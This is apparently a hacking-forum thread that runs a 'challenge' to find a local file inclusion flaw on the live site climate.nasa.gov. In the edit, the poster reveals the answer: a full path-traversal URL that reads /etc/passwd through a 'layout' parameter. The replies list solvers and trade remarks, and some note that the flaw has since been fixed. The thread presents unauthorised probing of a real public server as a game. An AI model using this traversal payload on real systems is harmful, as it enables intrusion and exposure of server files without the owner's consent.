[ｍＯｂｉＩｅ]

[img]http://foss4g-e.org/sites/default/files/nasa.png[/img]
[img]http://stratify.co/wp-content/uploads/2013/06/Are-You-Up-for-the-Challenge.png[/img]

NASA.GOV is always full of vulnerabilities, let's see who can find the LFI at:

http://climate.nasa.gov

PoC:


Post a screenshot below and PM me with the correct answer to make the solvers list.
Solvers:
1.) SPID3R
2.) huji
3.) Pernicious Arcane
4.) Zayne
5.) LevelUp
6.) callmeblezz
7.) w3areanonymous
8.) ??

Good Luck! ..and thanks for viewing my thread.

EDIT: This challenge is over, the answer was;

PHP Code


<?php 
http://climate.nasa.gov/education/pbs_modules/glossary1?layout=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd 


[Winners]

I'll get started on this now. Nice thread competition btw 👍

[-Acid]

Thanks for the challenge:



I PMed you the query
🤝

[Im gone brah]

If you say so...

[LevelUp]

Ok.

[callmeblezz]

finished! nice challenge!😝

[w3areanonymous]

Thanks for the challenge 😁

[R^ptor]

Is the vuln still there? Is it worth trying to do this challenge?

[asm-99]

I didn't find it.
I tried everything I know but always got the error page.
I even try to get somthing from the pics(glosaary, meterogist) using google dork but still nothing
Can you solve the challenge if it's already end?

[Arqa]

I wonder how many people believed that this is NASA's official site and tried a combination of Hotspot Shield with Havij Pro.

[-Acid]

I didn't find it.
I tried everything I know but always got the error page.
I even try to get somthing from the pics(glosaary, meterogist) using google dork but still nothing
Can you solve the challenge if it's already end?

This post was old...near about 4 months old...and this vulnerability is fixed

[R^ptor]

This post was old...near about 4 months old...and this vulnerability is fixed

Ahhhhhh thats why 🤗🤗🤗🤗 i thought I was getting stupid

[R^ptor]

If you say so...

Savage did it on Iphone 😖😖

[Prawnster]

Savage did it on Iphone 😖😖

You legit grave dug the same thread, twice...